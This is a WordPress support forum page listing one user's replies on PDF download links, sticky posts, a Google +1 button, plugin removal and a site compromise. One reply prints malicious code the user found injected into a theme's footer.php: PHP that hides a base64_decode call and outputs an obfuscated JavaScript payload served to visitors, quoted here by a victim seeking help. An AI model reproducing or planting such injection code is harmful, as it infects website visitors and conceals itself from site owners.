Forum Replies Created

Viewing 15 replies - 1 through 15 (of 289 total)
  • Thread Starter sabinou

    (@sabinou)

    Thanks for the reply !

    Can I humbly ask how grep will work ?

    From what I remember, grep allows to select stuff among more stuff (OK, sorry about the abuse of the “stuff” word) and display only the matching results.

    However, that doesn’t tell me how to browse a super large text file, in the first place, or am I mistaken here ?

    Thread Starter sabinou

    (@sabinou)

    Thank you very much for the long reply, Darrell ! I’m grateful 🙂

    Since it’s been confirmed, for the moment I’ll perform a 444 chmod on my template files, and see what more to do in the longer term…

    Thread Starter sabinou

    (@sabinou)

    Final update regarding this thread.

    I found my reply the hard way : something trying to inject malware into my visitors, reported by Avast.

    It appears something or someone is using or editing one way or another the Wp-Postratings plugin of Lesterchan (Gamerz) to run nasty stuff. I broke my blog’s public html output into several parts, splitting them over and over, until I found the code line triggering the virus injection was the call for wp-postratings. Deactivating the plugin stopped the virus attack on my visitors.

    I had this malware injection attempt problem last week already, and Lesterchan, to whom I reported, simply concluded it wasn’t his plugin’s fault. Yeah, right. I deleted postratings by FTP and had wordpress reinstall it by connecting to ww.wp.xz.cn, but apart from that, the plugin is NOT vulnerable to something using it, not to the least, no.
    I don’t blame Lesterchan, it may be another compromised website on my shared host, it may be me allowing stuff I didn’t notice, it could be pretty anything, but I’m still rather annoyed at a plugin allowing, twice, a security hole.

    Case closed, the rest is outside of the present thread’s object.

    Can you access your hosting space by FTP ?

    If you can (in theory, you should, ask your host if you do not know the login, host and password information), you can simply go to (blog folder)/wp-content/plugins/ and, from there, you can delete the folder of the plugin.

    Thread Starter sabinou

    (@sabinou)

    Update : WHAT THE HELL ?!

    It’s not only the public version served to the visitors, there is THIS in the footer.php code (added with a legit line to give you its position)

    <?php wp_footer(); ?>
    <?php
    $__name = "d41d8cd98f00b204e9800998ecf8427e";
    if(1>0 ) {
    error_reporting(0);
    $date = date("D, j M Y 00:00:00", time()+60*60*24*30);
    $cookie = time().".".rand(1111111, 9999999);
    echo "<script type=\"text/javascript\">document.cookie = \"".$__name."=\"+escape('".$cookie."')+\"; expires=".$date."; path=/\";</script>";
    
    $__f = implode("", array_map("chr", explode(" ", "98 97 115 101 54 52 95 100 101 99 111 100 101")));
    echo $__f("PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPnJpZj0wLjA0OTtyaWYrKzttZXQ9ZmFsc2U7b2JlPWNhcCgnaWdLWFo1emJtMCcsMTQpO2xhdj0wLjAwODtsYXYtLTtsaXQ9J2kxNThXczcnO3dvcD0yMzt3b3ArPTE3O3NheT1jYXAoJ1ZVSmhybjlQUGxHbmM1dThsSlowdXBMWUtWM0xCVWVhM1VNdThUMVN3UjhwRkw0Wnl1V0tLNW11YjhKdjYwVE1KcnJuaWtVcmttYzVVVGxqRFcwNEJwZjl6MFZPYVRza01YWE9uRTRrTlVGU3hFcE1XYkFsbTU3MEhZejdUSGRONmg5V1NyMUdjS0lEbFdmajBFQ3ZLbjN4QlRlSjNpaThoSm5mT2snLDUpO2x1eD0naGFtJztib3k9Mzk3ODtqYXI9ZG9jdW1lbnQ7amFyW29iZV0oc2F5KTtmdW5jdGlvbiBkdWQoa3Esa3ope3ZhciBrayxiLHM7dz03ODA1O3crKztrPVsndm93JywnZWxkJywnbWlkJ107cD0wLjAwNDc7cCs9MC4wMDM7ZD02O2lmKGQ8MjIpe2w9MC4wMzY7aWYobD4xNil7Zj03MTc0O2lmKGYhPTApe3E9MC4wMTc7aWYocT4wLjAyMjcpe3o9MjE7ei09MTQ7aD0zNDA4O2grK319dT1bMCwyNCwxNiwzMiw4XX1qPTgwMzh9dj0wLjAxNTg7aWYodiE9MCl7bz0wLjAwNDtpZihvPG51bGwpe3k9MC4wMDN9fXM9L1tOMGVNQzZnN0hwXS9nO2M9bnVsbDtjLT00OTM2O249bnVsbDt4PTU3NzU7eCs9MC4wMDYxO2I9JzZzN3VnYk1zTXQ3cic7cj0wLjAwOTU7cisrO3Q9MC4wMDk3O3QtLTtnPTAuMDUxNDtpZihnPDE2KXtpPTE0ODg7aWYoaTw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pZihtaiE9bnVsbCl7bWw9Mjg1NDtpZihtbD4wLjAwNTEpe215PTc0MTU7bXktLTttZT1udWxsO21lKz0xMn1taD0wLjAwMzttaCs9MC4wMTF9fW10PTE0Nzc7bXQtPTl9fW1jPTA7bWMrPTE0O21kPSdNRGt0UWcnO2ZvcihtZz0wO21nPG9uOyl7bXU9bnVsbDttdS09MTk7bXE9J3JleCc7YWU9b2lbZmJdKG1nLDIpO21rPTAuMDQ1NTttcD0wLjAxODttcC0tO214PTE1MDA7aWYobXghPTE4KXttdz1bJ29wcycsJ29yZScsJ29yYyddfW1iPXBhcnNlSW50KGFlLHJjKTttej1udWxsO21uPTAuMDA5O2lmKG1uPT03OTkwKXttdj0wLjAwNDg7bXYrK31qaT0wO2ppLT0yMztvdCs9U3RyaW5nW3JyXShtYik7amY9J1czSW5TbWRpWCc7anI9Njk3MTtpZihqcjxudWxsKXtqbz0wO2pvLT02MDk3O2phPTUwOTR9bWcrPTI7am09MTc5MztqbSs9MzA7amo9ZmFsc2U7amw9NjtpZihqbCE9NDg5Nyl7ank9MC4wMDkyO2p5Kyt9fWplPTUwNTU7amUtLTtqaD0xNTtqaCsrO2p0PTAuMDI0NjtpZihqdD09MC4wMTQpe2pjPTAuMDExMjtpZihqYzwwKXtqZD02O2pkLT0xNX1qZz0wLjAxNTU7aWYoamchPTM1ODYpe2p1PTAuMDE5O2lmKGp1PT0wLjAzMjUpe2pxPSdzYXAnfWpzPTM4ODQ7anMrPTE4ODJ9fXJldHVybiBvdH08L3NjcmlwdD4=");
    } unset($__name);
    
    ?>
    sabinou

    (@sabinou)

    With the plugin, probably not.

    But you can do without a plugin, and then it would work.

    – deactivate the plugin
    – edit your header with that code above the </head> part :
    <script type="text/javascript" src="http://apis.google.com/js/plusone.js"></script>
    – edit your template’s single.php (the pages of the posts) and add wherever you like
    <g:plusone size="medium"></g:plusone>
    You may edit the “medium” size as you see fit, ask Google precisely if you want more.

    And if you want to toy with more advanced settings, this is the way to avoid having something – like the google +1 button – to be shown on the index page, and to be shown anywhere else :

    <?php
    if ( is_home() ) {
    echo '<g:plusone size=small></g:plusone> ';
    } else {
        // do nothing
    }
    ?>
    Thread Starter sabinou

    (@sabinou)

    I can’t believe I forgot to mention it.

    I meant that one, indeed : http://ww.wp.xz.cn/extend/plugins/google/

    Thread Starter sabinou

    (@sabinou)

    Seriously, nobody else is having the problem ?

    The part you’d be interested in would be

    <?php if (have_posts()) : ?>
    <?php while (have_posts()) : the_post(); ?>

    … (lots of stuff about how to load a post and what parts of it, that will be applied to all the posts) …

    <?php endwhile; ?>

    But you risk to wreak havoc more than anything else.

    Making a post a sticky, wouldn’t it be the easiest solution for you, by far ?

    Thread Starter sabinou

    (@sabinou)

    Thank you for your time, I’m grateful, really – however, you’re dead wrong, your advice is almost the exact opposite of whant I want.

    By default, on most browsers, PDFs are viewed online if you click the link to them.

    In wordpress too.
    Except if we hard-code into wordpress the fact that a pdf isn’t a file to view online, but instead, a file that MUST be downloaded to disk.

    Me, I want a midway solution.
    Something to make the link we create either point to the usual “do whatever you want with it, Browser” version, or to the “you can ONLY download it, no choice, Browser !” version.

    Thread Starter sabinou

    (@sabinou)

    Well, this is partly a browser issue, but not always.

    Allow me to clarify what I mean : not all browsers share the same settings.
    – if the browser’s rule is to ALWAYS give choice between viewing and downloading, then my job is done, there is nothing I can do for my wife’s ebooks website
    – if the browser’s rule is to ALWAYS open the pdf online unless it’s php-hardcoded to force the download or wordpress forces this mimetype to downloading only, then the PDF will be open online by default.
    To this day, except IE, I think that all other modern browsers open the PDFs online by default.

    And it’s in this second situation that I can help my wife if I find how to force WordPress to handle differently two links to a PDF, one way or another.

    I’m not sure I’m understanding you clearly, so pardon me if I’m replying to NOT what you need 😉

    WordPress has two categorizations of contents, the pages, that have permanent URLs and are meant to be used as long-term steady reference and to be in small numbers, and the posts, made to be posted one after the other, in great numbers, in a chronological order, succeeding one another on top of the front page.

    I don’t think a page can stay on top of your blog, however, a post CAN stay on top, when you’re writing/editing/saving it, there is the option to make it a sticky. (Visibility > Public > Stick this to front page).

    Some “premium type” blog templates (meaning most of the ones offering it will be paying templates, but not all) offer an additional “featured post” option, in which you select a few posts that will be shown on top of your blog in rotation, one after the other.

    Hope I helped and didn’t reply outside of your needs 😉

    You may want to read this : http://codex.ww.wp.xz.cn/Hardening_WordPress

    I’d also recommend you to read this : http://ottopress.com/2009/hacked-wordpress-backdoors/
    This one doesn’t really tell you how to avoid stuff, but blog hacking won’t look like black magic to you anymore, knowledge is power.

    Then, in the Editor, find the reference for “lifestream” in home.php or index.php and carefully remove it. Keep a backup on the ready.

    *cough* if you had purchased that theme you could have gotten support from ElegantThemes to fix it *cough*

    I think the Elegant Themes come up with a super-developed control panel, including the activation, or deactivation, of several display options.
    Have you thoroughly searched trough this ?

Viewing 15 replies - 1 through 15 (of 289 total)